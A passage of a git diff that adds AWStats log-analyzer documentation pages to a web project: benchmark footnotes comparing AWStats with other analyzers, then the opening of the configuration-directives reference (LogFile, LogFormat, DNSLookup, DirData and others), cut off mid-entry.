color="#4444cc">Yes/Yes</font>/<font color="#660000">No</font></td> +<!-- <td><font color=#660000>No</font>/<font color=#4444cc>Yes/Yes</font></td> --> +<td><font color="#4444cc">Yes/Yes/Yes</font></td> +</tr> +</tbody> +</table> +<br> +<font style="font-family: arial,helvetica,verdana; font-style: normal; font-variant: normal; font-weight: normal; font-size: 8pt; line-height: normal; font-size-adjust: none; font-stretch: normal;"> +* This number is not really the number of browsers detected. All +browsers (known and unknown) can be detected by products that support +user agent listing (AWStats,Analog,Webalizer,Sawmill). The 'browser +detection feature' and number is the number of known browsers for which +different versions/ids of same browser are grouped by default in one +browser name.<br> +<br> +** AWStats can detect robots visits: All robots among the most common +are detected, list is in <a href="http://www.robotstxt.org/wc/active/all.txt">robotslist.txt</a> + +(250Kb). Products that are not able to do this give you false +information, above all if your site has few visitors. For example, if +you're site was submitted to all famous search engines, robots can make +500 visits a month, to find updates or to see if your site is still +online. So, if you have only 2000 visits a month, products with no +robot detection capabilities will report 2500 visits (A 25% error !). +AWStats will report 500 visits from robots and 2000 visits from human +visitors.Sawmill Analytics uses a "currently active" list of robots +based on the <a href="http://www.robotstxt.org/db.html" target="_blank">robotstxt.org</a> database.<br> +<br> +*** AWStats has url syntax rules for the most popular search engines +(that's the 'number detected'). Those rules are updated with AWStats +updates. But AWStats has also an algorithm to detect keywords of +unknown search engines with unknown url syntax rules. Sawmill uses +unique syntax to detect 67 search engines, and you can add any number +of custom SE's. <br> +<br> +**** Most log analyzers have poor (or not at all) robots, search +engines, os or browsers detection capabilities and less features (no or +poor visits count, no filter rules, etc...).<br> +It is not possible to add all AWStats features to other log analyzers, +so don't forget that benchmarks results are for 'different features'. +For this benchmark, I did just complete Webalizer and Analog robots or +search engines databases with part of AWStats database. So Webalizer +config file was completed with this <a href="http://www.awstats.org/files/webalizeradd.txt">file</a>, +Analog config file was completed with this <a href="http://www.awstats.org/files/analogadd.txt">file</a>. +Note that without this very light add (using default conf file), +Webalizer speed is 3 times faster, Analog is 15% faster).<br> + +Benchmark was made on a combined (XLF/CLF) log record on an Athlon 1GHz.<br> +You must keep in mind that all this times are without reverse DNS +lookup. DNS lookup speed depends on your system, network and Internet +but not on the log analyzer you use. For this reason, DNS lookup is +disabled in all log analyzer benchmarks. Don't forget that DNS lookup +is 95% (even with a lookup cache) of the time used by a log analyzer, +so if your host is not already resolved in log file and DNS lookup is +enable, the total time of the process will be nearly the same whatever +is the speed of the log analyzer.<br> +<br> +***** Some visitors +use a lot of proxy servers to surf (ie: AOL users), this means it's +possible that several hosts (with several IP addresses) are used to +reach your site for only one visitor (ie: one proxy server download the +page and 2 other servers download all images). Because of this, if +stats of unique visitors are made on "Hits", 3 users are reported but +it's wrong. So AWStats, considers only HTML pages to count unique +visitors. This decrease the error (not totally, because +it's always possible that a proxy server download one HTML frame and +another one download another frame).</font><font style="font-family: arial,helvetica,verdana; font-style: normal; font-variant: normal; font-weight: normal; font-size: 8pt; line-height: normal; font-size-adjust: none; font-stretch: normal;"> +Sawmill Analytics allows you to choose what you define as a visitor - +by default the client IP is used, but you can use a cookie (persistant +or session) or any custom string, or combination of string from teh log +data. <br> +<br> +(a) Data were provided by Sawmill company (Graham Smith).<br> +<br> +(b) With such log format, there is no user agent information in log +file, so some reports are broken. For example, it's not possible to +make reports on browser or os for (information is not stored in log +file). To solve this, use another log format (like the combined +format). </font> +<hr> +<script type="text/javascript"> +var date='$Date: 2013/07/09 18:54:23 $'; +document.writeln("Last revision: "+date); + +</script> +</body></html> diff --git a/src/main/webapp/monitoramento/docs/awstats_config.html b/src/main/webapp/monitoramento/docs/awstats_config.html new file mode 100644 index 0000000..c9838bd --- /dev/null +++ b/src/main/webapp/monitoramento/docs/awstats_config.html @@ -0,0 +1,1829 @@ +<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> +<html><head> +<meta name="description" content="AWStats Documentation - Configuration directives and parameters"> +<meta name="keywords" content="awstats, awstat, config, parameters, configuration, conf"> +<meta name="robots" content="index,follow"> +<meta name="title" content="AWStats Documentation - Configuration directives and parameters"> + +<title>AWStats Documentation - Configuration directives and parameters</title><link rel="stylesheet" href="styles.css" type="text/css"><!-- $Revision: 1.196 $ - $Author: eldy $ - $Date: 2013/07/09 19:57:08 $ --></head> + +<body topmargin="10" leftmargin="5"> + + +<table style="font-family: arial,helvetica,verdana; font-style: normal; font-variant: normal; font-weight: normal; font-size: 10pt; line-height: normal; font-size-adjust: none; font-stretch: normal;" bgcolor="#ffffff" border="0" cellpadding="0" cellspacing="0" width="100%"> + +<!-- Large --> +<tbody><tr style="font-family: arial,helvetica,verdana; font-style: normal; font-variant: normal; font-weight: normal; font-size: 10pt; line-height: normal; font-size-adjust: none; font-stretch: normal;"> +<td align="center" bgcolor="#9999cc"><a href="/"><img src="images/awstats_logo4.png" border="0"></a></td> +<td align="center" bgcolor="#9999cc"> +<br> +<font style="font-family: arial,helvetica,sans-serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 16pt; line-height: normal; font-size-adjust: none; font-stretch: normal;" color="#eeeeff"><b>AWStats logfile analyzer 7.2 Documentation</b></font><br> +<br> +</td> +<td align="center" bgcolor="#9999cc"> + +</td> +</tr> + +</tbody></table> + + +<br><br><h1 style="font-family: arial,helvetica,sans-serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 26px; line-height: normal; font-size-adjust: none; font-stretch: normal;">AWStats configuration directives/options</h1> +<!-- -------------------------------------------------------------------------------------- --> + +<br>Each directive available in the AWStats config file (.conf) is listed here (with examples and default values).<br> +<br> +<b>Notes</b> +To include an environment variable in any parameter (AWStats will replace it with its value +when reading it), follow the example:<br> +<i>Parameter="__ENVNAME__"</i> +<br> +<br> +<br> +<br><b>DIRECTIVES IN MAIN SETUP SECTION (Required to make AWStats work)</b><br> +<ul> +<li><a href="#LogFile">LogFile</a> +</li><li><a href="#LogType">LogType</a> +</li><li><a href="#LogFormat">LogFormat</a> +</li><li><a href="#LogSeparator">LogSeparator</a> +</li><li><a href="#DNSLookup">DNSLookup</a> +</li><li><a href="#DirData">DirData</a> +</li><li><a href="#DirCgi">DirCgi</a> +</li><li><a href="#DirIcons">DirIcons</a> +</li><li><a href="#SiteDomain">SiteDomain</a> +</li><li><a href="#HostAliases">HostAliases</a> +</li><li><a href="#AllowToUpdateStatsFromBrowser">AllowToUpdateStatsFromBrowser</a> +</li><li><a href="#AllowFullYearView">AllowFullYearView</a> +</li></ul> + + +<br><b>DIRECTIVES IN OPTIONAL SETUP SECTION (Not required but increase AWStats features)</b><br> +<ul> +<li><a href="#EnableLockForUpdate">EnableLockForUpdate</a> +</li><li><a href="#DNSStaticCacheFile">DNSStaticCacheFile</a> +</li><li><a href="#DNSLastUpdateCacheFile">DNSLastUpdateCacheFile</a> +</li><li><a href="#SkipDNSLookupFor">SkipDNSLookupFor</a> +</li><li><a href="#AllowAccessFromWebToAuthenticatedUsersOnly">AllowAccessFromWebToAuthenticatedUsersOnly</a> +</li><li><a href="#AllowAccessFromWebToFollowingAuthenticatedUsers">AllowAccessFromWebToFollowingAuthenticatedUsers</a> +</li><li><a href="#AllowAccessFromWebToFollowingIPAddresses">AllowAccessFromWebToFollowingIPAddresses</a> +</li><li><a href="#CreateDirDataIfNotExists">CreateDirDataIfNotExists</a> +</li><li><a href="#BuildHistoryFormat">BuildHistoryFormat</a> +</li><li><a href="#BuildReportFormat">BuildReportFormat</a> +</li><li><a href="#SaveDatabaseFilesWithPermissionsForEveryone">SaveDatabaseFilesWithPermissionsForEveryone</a> +</li><li><a href="#PurgeLogFile">PurgeLogFile</a> +</li><li><a href="#ArchiveLogRecords">ArchiveLogRecords</a> +</li><li><a href="#KeepBackupOfHistoricFiles">KeepBackupOfHistoricFiles</a> +</li><li><a href="#DefaultFile">DefaultFile</a> +</li><li><a href="#SkipHosts">SkipHosts</a> +</li><li><a href="#SkipUserAgents">SkipUserAgents</a> +</li><li><a href="#SkipFiles">SkipFiles</a> +</li><li><a href="#OnlyHosts">OnlyHosts</a> +</li><li><a href="#OnlyUserAgents">OnlyUserAgents</a> +</li><li><a href="#OnlyUsers">OnlyUsers</a> +</li><li><a href="#OnlyFiles">OnlyFiles</a> +</li><li><a href="#NotPageList">NotPageList</a> +</li><li><a href="#ValidHTTPCodes">ValidHTTPCodes</a> +</li><li><a href="#ValidSMTPCodes">ValidSMTPCodes</a> +</li><li><a href="#AuthenticatedUsersNotCaseSensitive">AuthenticatedUsersNotCaseSensitive</a> +</li><li><a href="#URLNotCaseSensitive">URLNotCaseSensitive</a> +</li><li><a href="#URLWithAnchor">URLWithAnchor</a> +</li><li><a href="#URLQuerySeparators">URLQuerySeparators</a> +</li><li><a href="#URLWithQuery">URLWithQuery</a> +</li><li><a href="#URLWithQueryWithOnlyFollowingParameters">URLWithQueryWithOnlyFollowingParameters</a> +</li><li><a href="#URLWithQueryWithoutFollowingParameters">URLWithQueryWithoutFollowingParameters</a> +</li><li><a href="#URLReferrerWithQuery">URLReferrerWithQuery</a> +</li><li><a href="#WarningMessages">WarningMessages</a> +</li><li><a href="#ErrorMessages">ErrorMessages</a> +</li><li><a href="#DebugMessages">DebugMessages</a> +</li><li><a href="#NbOfLinesForCorruptedLog">NbOfLinesForCorruptedLog</a> +</li><li><a href="#SplitSearchString">SplitSearchString</a> +</li><li><a href="#WrapperScript">WrapperScript</a> +</li><li><a href="#DecodeUA">DecodeUA</a> +</li><li><a href="#MiscTrackerUrl">MiscTrackerUrl</a> +</li></ul> + +<br><b>DIRECTIVES IN OPTIONAL ACCURACY SETUP SECTION (Not required but increase AWStats features)</b><br> +<ul> +<li><a href="#LevelFor">LevelForBrowsersDetection</a> +</li><li><a href="#LevelFor">LevelForOSDetection</a> +</li><li><a href="#LevelFor">LevelForRefererAnalyze</a> +</li><li><a href="#LevelFor">LevelForRobotsDetection</a> +</li><li><a href="#LevelFor">LevelForSearchEnginesDetection</a> +</li><li><a href="#LevelFor">LevelForKeywordsDetection</a> +</li><li><a href="#LevelFor">LevelForFileTypesDetection</a> +</li><li><a href="#LevelFor">LevelForWormsDetection</a> + +</li></ul> + +<br><b>DIRECTIVES IN OPTIONAL APPEARANCE SETUP SECTION (Not required but increase AWStats features)</b><br> +<ul> +<li><a href="#UseFramesWhenCGI">UseFramesWhenCGI</a> +</li><li><a href="#DetailedReportsOnNewWindows">DetailedReportsOnNewWindows</a> +</li><li><a href="#Expires">Expires</a> +</li><li><a href="#MaxRowsInHTMLOutput">MaxRowsInHTMLOutput</a> +</li><li><a href="#Lang">Lang</a> +</li><li><a href="#DirLang">DirLang</a> +</li><li><a href="#Show">ShowHeader</a> +</li><li><a href="#Show">ShowMenu</a> +</li><li><a href="#Show">ShowSummary</a> +</li><li><a href="#Show">ShowMonthStats</a> +</li><li><a href="#Show">ShowDaysOfMonthStats</a> +</li><li><a href="#Show">ShowDaysOfWeekStats</a> +</li><li><a href="#Show">ShowHoursStats</a> +</li><li><a href="#Show">ShowDomainsStats</a> +</li><li><a href="#Show">ShowHostsStats</a> +</li><li><a href="#Show">ShowAuthenticatedUsers</a> +</li><li><a href="#Show">ShowRobotsStats</a> +</li><li><a href="#Show">ShowWormsStats</a> +</li><li><a href="#Show">ShowSessionsStats</a> +</li><li><a href="#Show">ShowPagesStats</a> +</li><li><a href="#Show">ShowCompressionStats</a> +</li><li><a href="#Show">ShowFileTypesStats</a> +</li><li><a href="#Show">ShowFileSizesStats</a></li><li><a href="#Show">ShowDownloadsStats</a></li><li><a href="#Show">ShowOSStats</a> +</li><li><a href="#Show">ShowBrowsersStats</a> +</li><li><a href="#Show">ShowScreenSizeStats</a> +</li><li><a href="#Show">ShowOriginStats</a> +</li><li><a href="#Show">ShowKeyphrasesStats</a> +</li><li><a href="#Show">ShowKeywordsStats</a> +</li><li><a href="#Show">ShowMiscStats</a> +</li><li><a href="#Show">ShowHTTPErrorsStats</a> +</li><li><a href="#Show">ShowSMTPErrorsStats</a> +</li><li><a href="#Show">ShowClusterStats</a> +</li><li><a href="#AddDataArray">AddDataArrayMonthStats</a> +</li><li><a href="#AddDataArray">AddDataArrayShowDaysOfMonthStats</a> +</li><li><a href="#AddDataArray">AddDataArrayShowDaysOfWeekStats</a> +</li><li><a href="#AddDataArray">AddDataArrayShowHoursStats</a> +</li><li><a href="#IncludeInternalLinksInOriginSection">IncludeInternalLinksInOriginSection</a> +</li><li><a href="#Max">MaxNbOfDomain</a> +</li><li><a href="#Max">MinHitDomain</a> +</li><li><a href="#Max">MaxNbOfHostsShown</a> +</li><li><a href="#Max">MinHitHost</a> +</li><li><a href="#Max">MaxNbOfLoginShown</a> +</li><li><a href="#Max">MinHitLogin</a> +</li><li><a href="#Max">MaxNbOfRobotShown</a> +</li><li><a href="#Max">MinHitRobot</a></li><li><a href="#Max">MaxNbOfDownloadsShown</a></li><li><a href="#Max">MinHitDownloads</a></li><li><a href="#Max">MaxNbOfPageShown</a> +</li><li><a href="#Max">MaxNbOfOsShown</a> +</li><li><a href="#Max">MinHitOs</a> +</li><li><a href="#Max">MaxNbOfBrowsersShown</a> +</li><li><a href="#Max">MinHitBrowser</a> +</li><li><a href="#Max">MinHitFile</a> +</li><li><a href="#Max">MaxNbOfScreenSizesShown</a> +</li><li><a href="#Max">MinHitScreenSize</a> +</li><li><a href="#Max">MaxNbOfRefererShown</a> +</li><li><a href="#Max">MinHitRefer</a> +</li><li><a href="#Max">MaxNbOfKeywordsShown</a> +</li><li><a href="#Max">MinHitKeyword</a> +</li><li><a href="#FirstDayOfWeek">FirstDayOfWeek</a> +</li><li><a href="#ShowFlagLinks">ShowFlagLinks</a> +</li><li><a href="#ShowLinksOnUrl">ShowLinksOnUrl</a> +</li><li><a href="#MaxLengthOfURL">MaxLengthOfURL</a> +</li><li><a href="#ShowLinksToWhoIs">ShowLinksToWhoIs</a> +</li><li><a href="#UseHTTPSLinksForUrl">UseHTTPSLinksForUrl</a> +</li><li><a href="#LinksToWhoIs">LinksToWhoIs</a> +</li><li><a href="#LinksToIPWhoIs">LinksToIPWhoIs</a> +</li><li><a href="#HTMLHeadSection">HTMLHeadSection</a> +</li><li><a href="#HTMLEndSection">HTMLEndSection</a> +</li><li><a href="#Bar">BarWidth</a> +</li><li><a href="#Bar">BarHeight</a> +</li><li><a href="#Logo">Logo</a> +</li><li><a href="#Logo">LogoLink</a> +</li><li><a href="#StyleSheet">StyleSheet</a> +</li><li><a href="#color_">color_Background</a> +</li><li><a href="#color_">color_TableBGTitle</a> +</li><li><a href="#color_">color_TableTitle</a> +</li><li><a href="#color_">color_TableBG</a> +</li><li><a href="#color_">color_TableRowTitle</a> +</li><li><a href="#color_">color_TableBGRowTitle</a> +</li><li><a href="#color_">color_TableBorder</a> +</li><li><a href="#color_">color_text</a> +</li><li><a href="#color_">color_titletext</a> +</li><li><a href="#color_">color_weekend</a> +</li><li><a href="#color_">color_link</a> +</li><li><a href="#color_">color_hover</a> +</li><li><a href="#color_">color_u</a> +</li><li><a href="#color_">color_v</a> +</li><li><a href="#color_">color_p</a> +</li><li><a href="#color_">color_h</a> +</li><li><a href="#color_">color_k</a> +</li><li><a href="#color_">color_s</a> +</li><li><a href="#color_">color_e</a> +</li><li><a href="#color_">color_x</a> +</li></ul> + +<br><b>DIRECTIVES FOR PLUGINS</b><br> +<ul> +<li><a href="#LoadPlugin">LoadPlugin</a> +</li></ul> + +<br><b>DIRECTIVES IN EXTRA SECTIONS</b><br> +<ul> +<li><a href="#Extra">ExtraSectionNameX</a> +</li><li><a href="#Extra">ExtraSectionCodeFilterX</a> +</li><li><a href="#Extra">ExtraSectionConditionX</a> +</li><li><a href="#Extra">ExtraSectionFirstColumnTitleX</a> +</li><li><a href="#Extra">ExtraSectionFirstColumnValuesX</a> +</li><li><a href="#Extra">ExtraSectionFirstColumnFormatX</a> +</li><li><a href="#Extra">ExtraSectionStatTypesX</a> +</li><li><a href="#Extra">ExtraSectionAddAverageRowX</a> +</li><li><a href="#Extra">ExtraSectionAddSumRowX</a> +</li><li><a href="#Extra">MaxNbOfExtraX</a> +</li><li><a href="#Extra">MinHitExtraX</a> +</li><li><a href="#ExtraTrackedRowsLimit">ExtraTrackedRowsLimit</a> +</li></ul> + +<br><b>INCLUDES</b><br> +<ul> +<li><a href="#Include">Include</a> +</li></ul> + + + +<br><br><hr> + +<a name="LogFile"><b>LogFile</b></a><br> +<b>Version : </b>1.0+<br> +3.1+ for tags %YYYY-n,%YY-n,%MM-n,%DD-n,%HH-n<br> +3.2+ for tag %WM-n<br> +4.0+ for tag %DW-n<br> +4.1+ for tag %NS-n<br> +5.0+ for tag %WY-n<br> +5.1+ for tag %Wm-n, %Wy-n, %Dw-n<br> +<br># "LogFile" contains the web, ftp or mail server logfile to analyze. +<br># You can use a full path or relative path from awstats.pl directory. +<br># Example: "/var/log/apache/access.log" +<br># Example: "../logs/mycombinedlog.log" +<br># You can also use tags in this filename if you need a dynamic file name +<br># depending on date or time (Replacement is made by AWStats at the beginning +<br># of its execution). This is available tags : +<br># %YYYY-n is replaced with 4 digits year we were n hours ago +<br># %YY-n is replaced with 2 digits year we were n hours ago +<br># %MM-n is replaced with month we were n hours ago +<br># %MO-n is replaced with 3 letters month we were n hours ago +<br># %DD-n is replaced with day we were n hours ago +<br># %HH-n is replaced with hour we were n hours ago +<br># %NS-n is replaced with number of seconds at 00:00 since 1970 +<br># %WM-n is replaced with the week number in month (1-5) +<br># %Wm-n is replaced with the week number in month (0-4) +<br># %WY-n is replaced with the week number in year (01-52) +<br># %Wy-n is replaced with the week number in year (00-51) +<br># %DW-n is replaced with the day number in week (1-7, 1=sunday) +<br># use n=24 if you need (1-7, 1=monday) +<br># %Dw-n is replaced with the day number in week (0-6, 0=sunday) +<br># use n=24 if you need (0-6, 0=monday) +<br># Use 0 for n if you need current year, month, day, hour... +<br># Example: "/var/log/access_log.%YYYY-0%MM-0%DD-0.log" +<br># Example: "C:/WINNT/system32/LogFiles/W3SVC1/ex%YY-24%MM-24%DD-24.log" +<br># You can also use a pipe if log file come from a pipe. +<br># Example: "gzip -d </var/log/apache/access.log.gz |" +<br># If there is several log files from load balancing servers : +<br># Example: "/pathtotools/logresolvemerge.pl *.log |" +<br># +<br>LogFile="/var/log/httpd/mylog.log" + +<br><br><hr> + +<a name="LogType"><b>LogType</b></a><br> +<b>Version : </b>5.7+<br> +<br># Enter the log file type you want to analyze. +<br># Possible values: +<br># W - For a web log file +<br># M - For a mail log file +<br># F - For a ftp log file +<br># Example: W +<br># Default: W +<br># +<br>LogType=W + +<br><br><hr> + +<a name="LogFormat"><b>LogFormat</b></a><br> +<b>Version : </b>2.1+<br> +3.1+ for tags %host,%logname,%time1,%time2,%methodurl,%methodurlnoprot,%method,%url, +%query,%code,%bytesd,%refererquot,%referer,%uaquot,%ua,%other<br> +3.2+ for tags %gzipin,%gzipout<br> +4.0+ for tags %gzipratio,%syslog<br> +4.1+ for tag %virtualname<br> +5.6+ for tag %deflateratio<br> +6.1+ for tag %time4<br> +6.2+ for tag %time3<br> +<br># Enter here your log format (Must agree with your web server. See setup +<br># instructions in README.txt to know how to configure your web server to have +<br># the required log format). +<br># Possible values: 1,2,3,4 or "your_own_personalized_log_format" +<br># 1 - Apache or Lotus Notes/Domino native combined log format (NCSA combined/XLF/ELF log format) +<br># 2 - IIS or ISA format (IIS W3C log format). See FAQ-COM115 For ISA. +<br># 3 - Webstar native log format. +<br># 4 - Apache or Squid native common log format (NCSA common/CLF log format) +<br># With LogFormat=4, some features (browsers, os, keywords...) can't work. +<br># "your_own_personalized_log_format" = If your log is ftp, mail or other format, +<br># you must use following keys to define the log format string (See FAQ for +<br># ftp, mail or exotic web log format examples): +<br># %host Client hostname or IP address (or Sender host for mail log) +<br># %host_r Receiver hostname or IP address (for mail log) +<br># %lognamequot Authenticated login/user with format: "alex" +<br># %logname Authenticated login/user with format: alex +<br># %time1 Date and time with format: [dd/mon/yyyy:hh:mm:ss +0000] or [dd/mon/yyyy:hh:mm:ss] +<br># %time2 Date and time with format: yyyy-mm-dd hh-mm-ss +<br># %time3 Date and time with format: Mon dd hh:mm:ss or Mon dd hh:mm:ss yyyy +<br># %time4 Date and time with unix timestamp format: dddddddddd +<br># %methodurl Method and URL with format: "GET /index.html HTTP/x.x" +<br># %methodurlnoprot Method and URL with format: "GET /index.html" +<br># %method Method with format: GET +<br># %url URL only with format: /index.html +<br># %query Query string (used by URLWithQuery option) +<br># %code Return code status (with format for web log: 999) +<br># %bytesd Size of document in bytes +<br># %refererquot Referer page with format: "http://from.com/from.htm" +<br># %referer Referer page with format: http://from.com/from.htm +<br># %uaquot User agent with format: "Mozilla/4.0 (compatible, ...)" +<br># %ua User agent with format: Mozilla/4.0_(compatible...) +<br># %gzipin mod_gzip compression input bytes: In:XXX +<br># %gzipout mod_gzip compression output bytes & ratio: Out:YYY:ZZpct. +<br># %gzipratio mod_gzip compression ratio: ZZpct. +<br># %deflateratio mod_deflate compression ratio with format: (ZZ) +<br># %email EMail sender (for mail log) +<br># %email_r EMail receiver (for mail log) +<br># %virtualname Web sever virtual hostname. Use this tag when same log +<br># contains data of several virtual web servers. AWStats +<br># will discard records not in SiteDomain nor HostAliases +<br># %cluster If log file is provided from several computers (merged by +<br># logresolvemerge.pl), this tag define field of cluster id. +<br># %extraX Another field that you plan to use for building a +<br># personalized report with ExtraSection feature (See later). +<br># If your log format has some fields not included in this list, use +<br># %other Means another field +<br># %otherquot Means another not used double quoted field +<br># +<br># Examples for Apache combined logs (following two examples are equivalent): +<br># LogFormat = 1 +<br># LogFormat = "%host %other %logname %time1 %methodurl %code %bytesd %refererquot %uaquot" +<br># +<br># Example for IIS: +<br># LogFormat = 2 +<br># +<br>LogFormat=1 + +<br><br><hr> + +<a name="LogSeparator"><b>LogSeparator</b></a><br> +<b>Version : </b>5.0+<br> +<br># If your log field's separator is not a space, you can change this parameter. +<br># This parameter is not used if LogFormat is a predefined value (1,2,3,4) +<br># Example: " " +<br># Example: "\t" +<br># Example: "|" +<br># Default: " " +<br># +<br>LogSeparator=" " + +<br><br><hr> + +<a name="DNSLookup"><b>DNSLookup</b></a><br> +<b>Version : </b>1.0+ (5.0+ for value 2) <br> +<br># If you want to have hosts reported by name instead of ip address, AWStats +<br># need to make reverse DNS lookups (if not already done in your log file). +<br># With DNSLookup to 0, all hosts will be reported by their IP addresses and +<br># not by the full hostname of visitors (except if names are already available +<br># in log file). +<br># If you want/need to set DNSLookup to 1, don't forget that this will reduce +<br># dramatically AWStats update process speed. Do not use on large web sites. +<br># Note: Reverse DNS lookup is done on IPv4 only (Enable ipv6 plugin for IPv6). +<br># Note: Result of DNS Lookup can be used to build the Country report. However +<br># it is highly recommanded to enable the plugin 'geoipfree' or 'geoip' to +<br># have an accurate Country report with no need of DNS Lookup. +<br># Possible values: +<br># 0 - No DNS Lookup +<br># 1 - DNS Lookup is fully enabled +<br># 2 - DNS Lookup is made only from static DNS cache file (if it exists) +<br># Default: 2 +<br># +<br>DNSLookup=2 + +<br><br><hr> + +<a name="DirData"><b>DirData</b></a><br> +<b>Version : </b>1.0+<br> +<br># When AWStats updates its statistics, it stores results of its analysis in +<br># files (AWStats database). All those files are written in the directory +<br># defined by the "DirData" parameter. Set this value to the directory where +<br># you want AWStats to save its database and working files into. +<br># Warning: If you want to be able to use the "AllowToUpdateStatsFromBrowser" +<br># feature (see later), you need write permissions by webserver user on this +<br># directory. +<br># Example: "/var/lib/awstats" +<br># Example: "../data" +<br># Example: "C:/awstats_data_dir" +<br># Default: "." (means same directory as awstats.pl) +<br># +<br>DirData="." + +<br><br><hr> + +<a name="DirCgi"><b>DirCgi</b></a><br> +<b>Version : </b>1.0+<br> +<br># Relative or absolute web URL of your awstats cgi-bin directory. +<br># This parameter is used only when AWStats is ran from command line +<br># with -output option (to generate links in HTML reported page). +<br># Example: "/awstats" +<br># Default: "/cgi-bin" (means awstats.pl is in "/yourwwwroot/cgi-bin") +<br># +<br>DirCgi="/cgi-bin" + +<br><br><hr> + +<a name="DirIcons"><b>DirIcons</b></a><br> +<b>Version : </b>1.0+<br> +<br># Relative or absolute web URL of your awstats icon directory. +<br># If you build static reports ("... -output > outputpath/output.html"), enter +<br># path of icon directory relative to the output directory 'outputpath'. +<br># Example: "/awstatsicons" +<br># Example: "../icon" +<br># Default: "/icon" (means you must copy icon directories in "/mywwwroot/icon") +<br># +<br>DirIcons="/icon" + +<br><br><hr> + +<a name="SiteDomain"><b>SiteDomain</b></a><br> +<b>Version : </b>3.2+<br> +<br># "SiteDomain" must contain the main domain name or the main intranet web +<br># server name used to reach the web site. +<br># If you share the same log file for several virtual web servers, this +<br># parameter is used to tell AWStats to filter record that contains records for +<br># this virtual host name only (So check that this virtual hostname can be +<br># found in your log file and use a personalized log format that include the +<br># %virtualname tag). +<br># But for multi hosting a better solution is to have one log file for each +<br># virtual web server. In this case, this parameter is only used to generate +<br># full URL's links when ShowLinksOnUrl option is set to 1. +<br># If analysing mail log, enter here the domain name of mail server. +<br># Example: "myintranetserver" +<br># Example: "www.domain.com" +<br># Example: "ftp.domain.com" +<br># Example: "domain.com" +<br># +<br>SiteDomain="" + +<br><br><hr> + +<a name="HostAliases"><b>HostAliases</b></a><br> +<b>Version : </b>1.0+ (5.6+ for REGEX syntax)<br> +<br># Enter here all other possible domain names, addresses or virtual host +<br># aliases someone can use to access your site. Try to keep only the minimum +<br># number of possible names/addresses to have the best performances. +<br># You can repeat the "SiteDomain" value in this list. +<br># This parameter is used to analyze referer field in log file and to help +<br># AWStats to know if a referer URL is a local URL of same site or an URL of +<br># another site. +<br># Note: Use space between each value. +<br># Note: You can use regular expression values writing value with REGEX[value]. +<br># Example: "www.myserver.com localhost 127.0.0.1 REGEX[\.mydomain\.(net|org)$]" +<br># +<br>HostAliases="localhost 127.0.0.1 REGEX[^.*\.myserver\.com$]" + +<br><br><hr> + +<a name="AllowToUpdateStatsFromBrowser"><b>AllowToUpdateStatsFromBrowser</b></a><br> +<b>Version : </b>3.0+<br> +<br># When this parameter is set to 1, AWStats add a button on report page to +<br># allow to "update" statistics from a web browser. Warning, when "update" is +<br># made from a browser, AWStats is ran as a CGI by the web server user +<br># defined in your web server (user "nobody" by default with Apache, "IUSR_XXX" +<br># with IIS), so the "DirData" directory and all already existing history files +<br># (awstatsMMYYYY[.xxx].txt) must be writable by this user. Change permissions +<br># if required. +<br># Warning: Update process can be long so you might experience "time out" +<br># browser errors if you don't launch AWStats enough frequently. +<br># When set to 0, update is only made when AWStats is ran from the command +<br># line interface (or a task scheduler). +<br># Possible values: 0 or 1 +<br># Default: 0 +<br># +<br>AllowToUpdateStatsFromBrowser=0 + +<br><br><hr> + +<a name="AllowFullYearView"><b>AllowFullYearView</b></a><br> +<b>Version : </b>5.9+<br> +<br># AWStats save and sort its database on a month basis, this allows to build +<br># build a report quickly. However, if you choose the -month=all from command +<br># line or value '-Year-' from CGI combo form to have a report for all year, +<br># AWStats needs to reload all data for full year, and resort them completely, +<br># requiring a large amount of time, memory and CPU. This might be a problem +<br># for web hosting providers that offer AWStats for large sites on shared +<br># servers to non CPU cautious customers. +<br># For this reason, the 'full year' is only enable on Command Line by default. +<br># You can change this by setting this parameter to 0, 1, 2 or 3. +<br># Possible values: +<br># 0 - Never allowed +<br># 1 - Allowed on CLI only, -Year- value in combo is not visible +<br># 2 - Allowed on CLI only, -Year- value in combo is visible but not allowed +<br># 3 - Possible on CLI and CGI +<br># Default: 2 +<br># +<br>AllowFullYearView=2 + +<br><br><hr> + +<a name="EnableLockForUpdate"><b>EnableLockForUpdate</b></a><br> +<b>Version : </b>5.0+<br> +<br># When the update process run, AWStats can set a lock file in TEMP or TMP +<br># directory. This lock is to avoid to have 2 update processes running at the +<br># same time to prevent unknown conflicts problems and avoid DoS attacks when +<br># AllowToUpdateStatsFromBrowser is set to 1. +<br># Because, when you use lock file, you can experience sometimes problems in +<br># lock file not correctly removed (killed process for example requires that +<br># you remove the file manualy), this option is not enabled by default (Do +<br># not enable this option with no console server access). +<br># Possible values: 0 or 1 +<br># Default: 0 +<br># +<br>EnableLockForUpdate=0 + +<br><br><hr> + +<a name="DNSStaticCacheFile"><b>DNSStaticCacheFile</b></a><br> +<b>Version : </b>5.0+<br> +<br># AWStats can do reverse DNS lookups through a static DNS cache file that was +<br># previously created manually. If no path is given in static DNS cache file +<br># name, AWStats will search DirData directory. This file is never changed. +<br># This option is not used if DNSLookup=0. +<br># Note: DNS cache file format is 'minsince1970 ipaddress resolved_hostname' +<br># or just 'ipaddress resolved_hostname' +<br># Example: "/mydnscachedir/dnscache" +<br># Default: "dnscache.txt" +<br># +<br>DNSStaticCacheFile="dnscache.txt" + +<br><br><hr> + +<a name="DNSLastUpdateCacheFile"><b>DNSLastUpdateCacheFile</b></a><br> +<b>Version : </b>5.0+<br> +<br># AWStats can do reverse DNS lookups through a DNS cache file that was created +<br># by a previous run of AWStats. This file is erased and recreated after each +<br># statistics update process. You don't need to create and/or edit it. +<br># AWStats will read and save this file in DirData directory. +<br># This option is used only if DNSLookup=1. +<br># Note: If a DNSStaticCacheFile is available, AWStats will check for DNS +<br># lookup in DNSLastUpdateCacheFile after checking into DNSStaticCacheFile. +<br># Example: "/mydnscachedir/dnscachelastupdate" +<br># Default: "dnscachelastupdate.txt" +<br># +<br>DNSLastUpdateCacheFile="dnscachelastupdate.txt" + +<br><br><hr> + +<a name="SkipDNSLookupFor"><b>SkipDNSLookupFor</b></a><br> +<b>Version : </b>3.0+ (5.6+ for REGEX syntax)<br> +<br># You can specify specific IP addresses that should NOT be looked up in DNS. +<br># This option is used only if DNSLookup=1. +<br># Note: Use space between each value. +<br># Note: You can use regular expression values writing value with REGEX[value]. +<br># Change : Effective for new updates only 